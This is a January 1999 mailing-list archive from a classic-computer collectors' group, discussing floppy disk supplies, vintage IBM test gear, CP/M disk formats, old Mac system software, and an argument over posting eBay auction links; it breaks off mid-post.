http://www.dragonfire.net/~healyzh/ | From jim at calico.litterbox.com Wed Jan 20 21:47:12 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: from "Zane H. Healy" at Jan 20, 1999 07:42:55 PM Message-ID: <199901210347.UAA23825@calico.litterbox.com> Last I checked my local Mac shop still sold DD 3.5 inch disks. Also, I *think* that unlike 5.25 inch disks it's safe to use 3.5 inch HD disks on DD drives. It DOES tend to confuse drives that do know what to do with HD, but if you're only doing DD it works, I think. > > >I have been stocking up for the past three years. I have about 10k > >stored. Also 720k disks are not as easy to find anymore, so I've been > >gather a supply of those also. For my NeXT I scored a few boxes of > >2.88's recently. > > As I understand it the Amiga software industry is in a bit of a crisis at > the moment because 3.5" DD floppies are no longer being made. Well, > they're also in a bit of a crisis thanks to the idiots running Amiga, Inc. > killing the market last spring when it will be quite a while before the new > Amiga is ready to ship. > > Zane > > | Zane H. Healy | UNIX Systems Adminstrator | > | healyzh@aracnet.com (primary) | Linux Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.dragonfire.net/~healyzh/ | > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jrice at texoma.net Wed Jan 20 22:37:53 1999 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes References: <00d501be44e4$08079720$e0e5fea9@mainoffice> Message-ID: <36A6AF21.F03F61FF@texoma.net> My Amigas and my classic Macs as well as several Tandy's use the DD disks, so i buy all I can find. I've bought a lot recently at consignment store for about $1-2 for a box of 10. I think I have about 2k in stock now. James "Zane H. Healy" wrote: > > >I have been stocking up for the past three years. I have about 10k > >stored. Also 720k disks are not as easy to find anymore, so I've been > >gather a supply of those also. For my NeXT I scored a few boxes of > >2.88's recently. > > As I understand it the Amiga software industry is in a bit of a crisis at > the moment because 3.5" DD floppies are no longer being made. Well, > they're also in a bit of a crisis thanks to the idiots running Amiga, Inc. > killing the market last spring when it will be quite a while before the new > Amiga is ready to ship. > > Zane > > | Zane H. Healy | UNIX Systems Adminstrator | > | healyzh@aracnet.com (primary) | Linux Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.dragonfire.net/~healyzh/ | From rigdonj at intellistar.net Thu Jan 21 00:48:19 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:22 2005 Subject: catch of the day & CPM disk format Message-ID: <3.0.1.16.19990121004819.2f0f5ffe@intellistar.net> I found a box of old computer stuff today. I didn't think it was much till I cleaned it up and looked at it. Boy, appearances can be deceiving! Here's what I got: Qume Sprint 9/45 and 9/55 terminal service manual, operator's instruction manual and intefacing information. THREE BRAND NEW WordStar 3.0 packages with disks and manuals in the original MicroPro binders. THREE BRAND NEW SuperSort 1.6 packages with disks and manuals in the original MicroPro binders. One BRAND NEW CalcStar 1.2 package with disk and manual in the original MicroPro binder. THREE BRAND NEW SpellStar 1.2 packages with disks and manuals in the original plastic bag from MicroPro. THREE BRAND NEW MailMerge 3.0 packages with disks and manuals in the original plastic bag from MicroPro. One brand new package of WorkSheet Wizard with disk and manual in the original plastic bag. The docs for this one state that it's for a North Star Advantage. The manuals HINT that all of this is for a CPM system. All the disks are hard sectored 5 1/4" disk with 11 index/sector holes. Q: What system other than North Star used hard sectored 10 sector disks? Joe From nerdware at laidbak.com Wed Jan 20 22:48:44 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:22 2005 Subject: mac tool In-Reply-To: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: <199901210445.WAA23931@garcon.laidbak.com> Date sent: Tue, 19 Jan 1999 20:02:31 -0600 (CST) Send reply to: classiccmp@u.washington.edu From: Lawrence LeMay To: "Discussion re-collecting of classic computers" Subject: mac tool > Any idea if these units will run system 7? > The SE will, at least up to 7.5, I believe (maybe 7.3). I have an SE/30 running 7.1. Apple's website has tech specs on the old Macs (takes a little digging to find it.....) and they list the systems supported for each model. I doubt 7 will run on a Plus, though. > -Lawrence LeMay Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From healyzh at aracnet.com Wed Jan 20 22:57:35 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <199901210347.UAA23825@calico.litterbox.com> References: from "Zane H. Healy" at Jan 20, 1999 07:42:55 PM Message-ID: >Last I checked my local Mac shop still sold DD 3.5 inch disks. Also, I >*think* >that unlike 5.25 inch disks it's safe to use 3.5 inch HD disks on DD drives. >It DOES tend to confuse drives that do know what to do with HD, but if you're >only doing DD it works, I think. There are still DD 3.5 disks in the distribution channels, but they're definitely getting harder to find. While HD disks will work, at least they have when I've needed to use one as a DD, I believe they aren't as reliable. I really wish I had the space to stock up and properly store floppies. My problem is that where I've got the room it's really not the proper temperature. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From rigdonj at intellistar.net Thu Jan 21 01:49:02 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:22 2005 Subject: IBM Thingy strikes again! Message-ID: <3.0.1.16.19990121014902.480754c6@intellistar.net> For anyone that cares, I just got this from IBM . > >Joe, >I talked to one of the Field Engineers tonight who know what your THING is. >Believe it or not it is a piece of test equipment that is used to diagnose >several different types of IBM equip. AND it is still used today. In fact >he said I was sitting next to 2 of them this morning when I was in the CE >office!! They are used to test devices like 3380, 3480, 3490 Disk drives. >These drives are the humongo mainframe drives ( they stand over 6' tall) >although they are very old technology. He also said that the device is used >to diagnose communication problems between remote controllers and the main >system. He also said that as a stand alone device it is pretty much >worthless....unless you want to copy diskettes...but I don't know of too >many people who need 8" diskettes copied!. He was surprised that you >"found" one. He said that it could have been left behind at a clients >location by a repair person and forgotten about.....or the CE's use to keep >them in the trunks of their cars and it could have been taken from one. I >asked him what you might be able to do with it...he said (jokingly) that one >option would be to sell it to a competitive maintenance company (like bell >Atlantic) who would want them so that they could service IBM hardware.?? >> >> I powered up the THING today. It says it's a Stand Alone Terminal >>Exorciser, PN 08309930, date 01/84. It passes the self test and brings up a >>menu that lets you select 327X Tutorial, 327X BSC, SDLC/SNA or R-LOOP. >>Selecting the R-LOOP option brings up another menu for 8775 Device or 3276 >>Device. That's as far as I can get in the menu, after that it asks for a CU >>address or will autoscan for it but of course there's nothing connected so >>it doesn't find what ever it's looking for. Do you think you can find any >>more about it? >> >> >> Joe >> From rigdonj at intellistar.net Thu Jan 21 02:05:10 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:22 2005 Subject: Is again re: PDP-8 on e-bay In-Reply-To: <02e301be44b1$bf5d8570$11d53d9d@JOEBAR> Message-ID: <3.0.1.16.19990121020510.3a47b27e@intellistar.net> At 12:16 PM 1/20/99 -0800, Joe B. wrote: >I was thinking, "how much did I >spend last year on that dumb P5-166 box", and used that as a >figure, given that the PDP-8 undoubtably has greater long term >value than the P5-166. (Isn't rationalization wonderful? :-) Ummm, you're not married are you? Joe R. From marvin at rain.org Thu Jan 21 00:17:10 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module References: <199901210445.WAA23931@garcon.laidbak.com> Message-ID: <36A6C666.851A4CBE@rain.org> Neat item here, and there is also a photo of the Module. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 From doug at blinkenlights.com Thu Jan 21 00:22:39 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <36A6C666.851A4CBE@rain.org> Message-ID: On Wed, 20 Jan 1999, Marvin wrote: > Neat item here, and there is also a photo of the Module. > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 Nice, but a member of this list had already placed a bid on this one. (Sorry, Mark, he's just trying to be a Good Samaritan.) -- Doug From healyzh at aracnet.com Thu Jan 21 00:19:12 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:22 2005 Subject: mac tool In-Reply-To: <199901210445.WAA23931@garcon.laidbak.com> References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: >> Any idea if these units will run system 7? > >The SE will, at least up to 7.5, I believe (maybe 7.3). I have an SE/30 >running >7.1. Apple's website has tech specs on the old Macs (takes a little >digging to >find it.....) and they list the systems supported for each model. I doubt >7 will run >on a Plus, though. Functionally the only real difference between a Mac Plus and a Mac SE is the SE is designed to hold an internal HD or second floppy, and the SE introduced ADB keyboards and mice. Hmmm, guess that means the iMac is the SE of the 90's :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From hansp at digiweb.com Thu Jan 21 00:36:59 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:22 2005 Subject: Looking for pointers to old Control Data software References: <36A3ACA0.2FD48AD6@cnct.com> <4.1.19990120122052.034d0160@office.ao.com> Message-ID: <36A6CB0B.8B556A8E@digiweb.com> Gary Oliver wrote: > I've just (mostly) finished an emulator for a Control Data lower 3000 > (CDC-3300 and CDC-3500) system (circa 1966) and am using it to play with > an old operating system developed at Oregon State University in the late > 60's and early 70's. Mostly it seems to run ok, so I'm looking to expand > my test sphere. OOOhh, nice ;-) What's it written in? > Does anyone on this list have pointers to old Control Data software, > specifically 7 track tapes (yes I can read these) and possibly > documentation (though I do have many of the old user manuals.) Unfortunately can't help you there. > I've tried contacting the lastest version of CDC and they offer no help > whatsoever. Even refused to allow me to release copies of any of their > old manuals "for liability reasons." (don't get me started!) That makes me sooo mad.... Regards _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From doug at blinkenlights.com Thu Jan 21 00:47:41 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <36A6C666.851A4CBE@rain.org> Message-ID: On Wed, 20 Jan 1999, Good Samaritan wrote: > Neat item here, and there is also a photo of the Module. > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 OK, since Marvin obviously feels compelled, nay, Destined, to advertise for eBay, I feel compelled to dissect this particular example to describe why this is such a Bad Idea. 1) The current bidder on this item is/was a list member. Of course, Marvin may not remember the email address. 2) I have been watching this particular item all week. Of course, Marvin could not possibly know this. 3) I knew that this item was squarely in Mark's domain -- he collects a bunch of old IBM and Univac stuff among other interesting bits. I debated notifying Mark or bidding on it myself. 4) I chose to wait and nab it myself if Mark didn't find it. He found it. 5) He obviously wanted it. You may have noticed that (3) bids were registered, but only one bidder. This typically means that a bidder has rebid to increase his max -- he really wants it. 6) Within minutes of Marvin's Good Samaritan Advertisement, another list member placed a bid -- the net effect was to increase the price Mark will have to pay by at least $26. Thanks so much for this fine service, Marvin. -- Doug From healyzh at aracnet.com Thu Jan 21 00:56:32 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:22 2005 Subject: LSI-11 Processor Status Word Message-ID: Stupid question: I'm trying to install TCP/IP on my PDP-11/73 running RT-11 V5.4 and am trying to choose the proper driver. Does the PDP-11/73 CPU have a Processor Status Word? Also, if you've got a driver for TSX-11 do you have to have corresponding driver for RT-11 installed? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From Philip.Belben at pgen.com Wed Jan 20 09:17:57 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:22 2005 Subject: OT: Alien Media (was Disasters and Recovery) Message-ID: <802566FF.00594B60.00@WESTD90.pgen.co.uk> >> extremes, things like the definition of a volt may be needed... > > :-)... Possibly.. I think that might be going a bit far. I would hope > some other electrical books had survived. > > If not, how would you define a 'volt'? In terms of the steps on a > microwave-excited Josephson Junction? It's reproducable, and > frequency/time is also easy to define. I was thinking of defining it in terms of a bandgap, such as used in precision reference "diodes". I'd like to define it in terms of SI units, but the Kilogram is not too easy (yet). Philip. From go at ao.com Thu Jan 21 02:34:11 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: References: <36A6C666.851A4CBE@rain.org> Message-ID: <4.1.19990121002944.03513390@office.ao.com> As (possibly) the "other list member" I want to point out that my bid on the item was purely coincidental. I was scanning ebay for "tube" stuff and found the item. I buy (or at least ATTEMPT to buy) some old tube stuff on eBay, and it was just a lull in some other activity that allowed me to scan the auction. I am not sure where I stand on the "notify the list" issue, since something juicy (that I want more than someone else) just MIGHT come to my notice this way... Many times it does help scuttle a deal someone else is zoning in on. Both can be good or bad (at least bad for the seller.) But in this case, it "wasn't his fault." Gary At 01:47 AM 1/21/99 -0500, you wrote: >On Wed, 20 Jan 1999, Good Samaritan wrote: > >> Neat item here, and there is also a photo of the Module. >> >> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 > >OK, since Marvin obviously feels compelled, nay, Destined, to advertise >for eBay, I feel compelled to dissect this particular example to describe >why this is such a Bad Idea. > >1) The current bidder on this item is/was a list member. Of course, >Marvin may not remember the email address. > >2) I have been watching this particular item all week. Of course, Marvin >could not possibly know this. > >3) I knew that this item was squarely in Mark's domain -- he collects a >bunch of old IBM and Univac stuff among other interesting bits. I debated >notifying Mark or bidding on it myself. > >4) I chose to wait and nab it myself if Mark didn't find it. He found it. > >5) He obviously wanted it. You may have noticed that (3) bids were >registered, but only one bidder. This typically means that a bidder has >rebid to increase his max -- he really wants it. > >6) Within minutes of Marvin's Good Samaritan Advertisement, another list >member placed a bid -- the net effect was to increase the price Mark will >have to pay by at least $26. > >Thanks so much for this fine service, Marvin. > >-- Doug > From doug at blinkenlights.com Thu Jan 21 02:50:07 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <4.1.19990121002944.03513390@office.ao.com> Message-ID: On Thu, 21 Jan 1999, Gary Oliver wrote: > As (possibly) the "other list member" I want to point out that my > bid on the item was purely coincidental. Thanks a lot, Gary, you just spoiled my neat little morality play :-) Coincidence or no, the moral is the same: if you're contemplating an action that has an equal chance of helping or hurting, watch a movie instead. -- Doug From go at ao.com Thu Jan 21 02:58:17 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: References: <4.1.19990121002944.03513390@office.ao.com> Message-ID: <4.1.19990121005717.032a8f00@office.ao.com> At 03:50 AM 1/21/99 -0500, you wrote: >On Thu, 21 Jan 1999, Gary Oliver wrote: > >> As (possibly) the "other list member" I want to point out that my >> bid on the item was purely coincidental. > >Thanks a lot, Gary, you just spoiled my neat little morality play :-) Sorry to spoil it > >Coincidence or no, the moral is the same: if you're contemplating an >action that has an equal chance of helping or hurting, watch a movie >instead. Now THAT is sound advice. Gary > >-- Doug > From Hans.Franke at mch20.sbs.de Thu Jan 21 05:13:26 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:22 2005 Subject: 65816 (was: Linux vs FreeBSD) In-Reply-To: <19990120194849.18065.qmail@brouhaha.com> References: <199901201609.QAA11576@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) Message-ID: <199901211014.KAA01580@nixpbe.pdb.sni.de> > > What about a 65816 (with 32 Bit data bus) > > using a 486 chipset > No, the 65816 only has a 16-bit data bus. There was talk about a > 32-bit version, but that's all it was, talk. Of course I know that the 65816 has a 16 Bit data bus. It was just a nice idea of having a 65816 with a 32 Bit BIU to fit still available 486 chipsets (with PCI etc.) to get a kind of an up to date 'SuperApple' (Imagine, an Apple II type computer with an ERAZOR II graphics card :)) In fact, this idea isn't so far from reality, since WDC offers the 65816 as lib module for several design pathes. So, put it in a fast, big (F)PGA together with 32 Bit glue logic and add a last generation 486 chipset for memory and I/O controll, including ISA and PCI bus (question: is there a 486 chipset with AGP ? Just for the couriosity :). 10 MHz should be possible with no problem, more possible, but I don't know the gate structure of the 816 - 20 or more MHz are imaginable with modern (F)PGA chips. Just an idea :) Gruss H. -- Ich denke, also bin ich, also gut HRK From bobstek at ix.netcom.com Thu Jan 21 06:02:46 1999 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:40:22 2005 Subject: Blue Thunder Z-80 card software Message-ID: <000001be4535$f53c3720$5982fea9@mycroft> Does anyone have the software for a Blue Thunder Z-80 card for the PC ISA bus? I would like to get my hands on a copy. Thanks. Bob Stek bobstek@ix.netcom.com Saver of Lost SOLs From rigdonj at intellistar.net Thu Jan 21 08:48:14 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:22 2005 Subject: Blue Thunder Z-80 card software In-Reply-To: <000001be4535$f53c3720$5982fea9@mycroft> Message-ID: <3.0.1.16.19990121084814.3e87a626@intellistar.net> Aaarrgghhh! I threw one away a few years ago because I couldn't get the software for it. I think you're the only person that I know that has heard of one. Joe At 07:02 AM 1/21/99 -0500, you wrote: >Does anyone have the software for a Blue Thunder Z-80 card for the PC ISA >bus? I would like to get my hands on a copy. > >Thanks. > >Bob Stek >bobstek@ix.netcom.com >Saver of Lost SOLs > > From Hans.Franke at mch20.sbs.de Thu Jan 21 07:50:53 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <36A657DE.5B887E8C@rain.org> Message-ID: <199901211251.MAA04469@nixpbe.pdb.sni.de> > > OK.. I guess I'll have to appologize for starting this flame war. Flame war ? Where ? Oh, yes, lets participate :) > > Of the lists that I subscribe to, this one has always impressed me by how > > cooperative and sharing the members are. Every single day I see members > > donating their time, effort, knowledge, and hardware to promote the hobby > > of collecting computers. Unfortunately, It's threads like this that kill > > the spirit of the group. > > Steve, most of us are a vocal bunch and have a fair number of opinions on > just about anything you would care to bring up. No apologies are necessary > as I too would have posted that to the list if I had seen it first. I've > been in and seen enough flame wars to know this too shall pass (although > this would be considered a very *tame* flamewar!) In spite of Doug being > rather vocal, he is an okay guy and entitled to his opinions ... as are we! And I'm glad about the hint, since I didn't see the SOL, and so I was able to put on a 'watch' bid - No Doug, I don't consider a bid of 30 USD on a SOL as pushing the price ... Anyway, there are as many pros as cons (I was also at one time realy mad on Marvin for publishing one of my 'secret' I want it and I want now and all bids, but I think if one takes a look on the bidder list it's up to everyone to decide if he wants to go against a list member (without further notice) or not. In fact, I don't consider this 'advertizeing' a problem at all (now). Gruss H. (I whish we had more offers on alternative systems, but it seams that the reasonable offers are most time on ePay ... :( . -- Ich denke, also bin ich, also gut HRK From adavie at mad.scientist.com Thu Jan 21 06:54:23 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <199901211251.MAA04469@nixpbe.pdb.sni.de> Message-ID: <001a01be453d$2b7593c0$99f438cb@a.davie> My 2c I can't believe anyone actually complained about a heads-up posted to the list. I, for one, appreciate any pointers to interesting systems for sale - be they on eBay or elsewhere. If I have to compete with the big boys to get what I want, so be it. I never object to people bidding against me - that's what an auction is all about. And I certainly wouldn't gripe about someone else pointing out a system I've been hoping would remain unnoticed by people with $$$. But maybe that's just me. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html From dogas at leading.net Thu Jan 21 06:59:43 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:22 2005 Subject: Ebay: Very Old IBM Model 705 Tube-type Logic Module Message-ID: <01be453d$ea1ad060$ecc962cf@devlaptop> -----Original Message----- From: Doug > points 1,2,3,4,5,6... Beyond all of that this just logically dosent make sense if the intent is to make sure (just) that a computer gets a good home/is saved from the trash. If there is already an existing bid on an item, then the computer has been... *ahem* saved. And publishing an auction just because the current bidder is a non-member of this list seems a form of discrimination that says *we* know better. A service I would more appreciate Marvin, would be something like: Hey, someone *tried* to sell a system here and couldn't, here's an e-url... - Wheez: dogas@leading.net From Hans.Franke at mch20.sbs.de Thu Jan 21 08:05:24 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:22 2005 Subject: More Books In-Reply-To: <802566FF.005FCB7E.00@PTECHNOTES02.PowerTech.co.uk> Message-ID: <199901211306.NAA04702@nixpbe.pdb.sni.de> > BTW I'd never heard of CORAL or PARLOG before. Anyone with experience want > to comment? PARLOG -> PARalell proLOG - a paralelized ersion of Prolog with some (very basic) features for process syncronisation) CORAL ? no idea - what about CObol foR ALgol ? :))) Gruss H. -- Ich denke, also bin ich, also gut HRK From pechter at monmouth.com Thu Jan 21 07:10:15 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:22 2005 Subject: Coral In-Reply-To: <199901211306.NAA04702@nixpbe.pdb.sni.de> from Hans Franke at "Jan 21, 99 02:06:24 pm" Message-ID: <199901211310.IAA04037@pechter.nws.net> > CORAL ? no idea - what about CObol foR ALgol ? :))) > > Gruss > H. I believe CORAL was used by the British for military programming. I seem to remember hearing it was similar to Algol... in some ways. Think pre-ada ada. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From Hans.Franke at mch20.sbs.de Thu Jan 21 08:12:00 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:22 2005 Subject: 2002 (was:: Looking for pointers to old Control Data software) In-Reply-To: <3253c4f6.36a69946@aol.com> Message-ID: <199901211313.NAA04783@nixpbe.pdb.sni.de> > Interested in swapping ? I wrote a simulator for a Siemens S 2002, and I have > a copy of the Algol compiler that went with that machine (no operating > systems at that time, ca. 1960). The S2002 was a binary-coded-decimal > 12 digit machine, the one I worked on had 10 K words of core and 10 K words > of drum, and all of that is in the simulator. I have compiled and executed > Algol programs on it - the simulation on a PC runs of course faster > than the original hardware at that time; do you have some timing > estimates for your simulator ? You have _WHAT_ ? I _need_ it - no mater what kind of PC or PC-OS is needed. Servus Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Thu Jan 21 08:20:28 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:22 2005 Subject: MacOS (was: mac tool) In-Reply-To: <199901210445.WAA23931@garcon.laidbak.com> References: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: <199901211321.NAA04946@nixpbe.pdb.sni.de> > The SE will, at least up to 7.5, I believe (maybe 7.3). I have an SE/30 running > 7.1. Apple's website has tech specs on the old Macs (takes a little digging to > find it.....) and they list the systems supported for each model. I doubt 7 will run > on a Plus, though. 7.1 runs fine on a MacPLUS - at least thats what a friend of mine is still using as desktop system. Gruss H. -- Ich denke, also bin ich, also gut HRK From cfandt at netsync.net Thu Jan 21 08:09:45 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:22 2005 Subject: Ink stamp on 1970s IC's. In-Reply-To: <3.0.6.16.19990120190737.282ff5dc@earthlink.net> Message-ID: <4.1.19990121085014.00af4670@206.231.8.2> At 07:07 PM 1/20/99 +0000, you wrote: >Hi all, >I have seen several plastic DIP IC's from the 1970's have a white ink stamp >on them that >say something like "ETC 4" on them. (Your number may vary) Most are Intel >RAM's, but some are Signetics or National TTL. Before I have seen them on >chips on boards, but have now bought a bunch of IC's new in tubes which also >have this stamp. >Has anyone else seen this and know what it means? This is probably a mark from a company who tested the IC. Back in those days, third-party outfits would often "burn-in" ICs before the company who purchased them received them. The ICs were put under correct the correct supply voltages and left in a closed chamber for many hours (24, 36, 72? It varied.) Some IC distributors offered this extra cost service. It helped make sure the chip would not fail prematurely when the end item was in customer's hands. At Bausch & Lomb, when my ex-employer was still a division of them, we had even the TTL and old RTL/DTL chips burned-in, not just the expensive RAM, CPUs, etc. Some products from other B&L divisions were used in medical labs and opthalmic labs and needed to be quite reliable. Our division's products, used in an industrial environment, benefited very nicely from tested ICs. I don't recall the IC testing company name or location (this was over 17 years ago) but the chips all had a small red paint dot applied after passing the test. Another, earlier company we used had applied two narrow white lines across one end of the chip package. Seems I recall seeing that ETC mark myself a long time ago on some chips but cannot recall what or where. Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From cfandt at netsync.net Thu Jan 21 08:14:37 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:22 2005 Subject: catch of the day & CPM disk format In-Reply-To: <3.0.1.16.19990121004819.2f0f5ffe@intellistar.net> Message-ID: <4.1.19990121091228.00b04400@206.231.8.2> At 12:48 AM 1/21/99 +0000, you wrote: >I found a box of old computer stuff today. I didn't think it was much till -- snip -- > The manuals HINT that all of this is for a CPM system. All the disks >are hard sectored 5 1/4" disk with 11 index/sector holes. > > Q: What system other than North Star used hard sectored 10 sector disks? Heath H-8 and H-89 computers. That would be the H-17 disk format. Both CP/M and HDOS ran on these machines. Soft-sector format was the H-37. Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From cfandt at netsync.net Thu Jan 21 08:24:31 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:22 2005 Subject: Is again re: PDP-8 on e-bay In-Reply-To: <3.0.1.16.19990121020510.3a47b27e@intellistar.net> References: <02e301be44b1$bf5d8570$11d53d9d@JOEBAR> Message-ID: <4.1.19990121091757.00b12c00@206.231.8.2> At 02:05 AM 1/21/99 +0000, Joe wrote: >At 12:16 PM 1/20/99 -0800, Joe B. wrote: > >>I was thinking, "how much did I >>spend last year on that dumb P5-166 box", and used that as a >>figure, given that the PDP-8 undoubtably has greater long term >>value than the P5-166. (Isn't rationalization wonderful? :-) > > Ummm, you're not married are you? RE: Rationalization This sounds like my wife for sure. Should see her 'rationalize' getting something at a department store on sale though she's bought something like it already for a similar price several months previous. (Uh, sorry Allison, Megan, et al :-) :-) :-) ) Regards, Chris (who has little closet space left now), husband of Imelda Marcos' understudy . . . -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From ckaiser at oa.ptloma.edu Thu Jan 21 08:49:52 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <36A6AF21.F03F61FF@texoma.net> from "James L. Rice" at Jan 20, 99 10:37:53 pm Message-ID: <199901211449.GAA15608@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 768 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/0afc3527/attachment.ksh From ckaiser at oa.ptloma.edu Thu Jan 21 08:52:09 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <199901210347.UAA23825@calico.litterbox.com> from "Jim Strickland" at Jan 20, 99 08:47:12 pm Message-ID: <199901211452.GAA10088@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 942 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/e13a9081/attachment.ksh From jfoust at threedee.com Thu Jan 21 08:46:48 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:22 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <199901202328.RAA27354@thorin.cs.umn.edu> References: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> Message-ID: <3.0.5.32.19990121084648.01080180@pc> At 05:28 PM 1/20/99 -0600, Lawrence LeMay wrote: > >Hmm, looks like now I need to buy some sort of cloth covering for these, >since they're become too valuable. My Teraks arent suddenly worth gold >too, are they? (even though they were very historically significant). Not that I know. :-) There's still only a small handful of people I know who have them. I know a guy who has a stash of six or seven, including color models, in a shack up in the mountains of the West. I've got between four and six 8510/a, including a 10 meg hard disk. Price is always a matter between buyer and seller - and who's selling? I think I paid $1 for my last 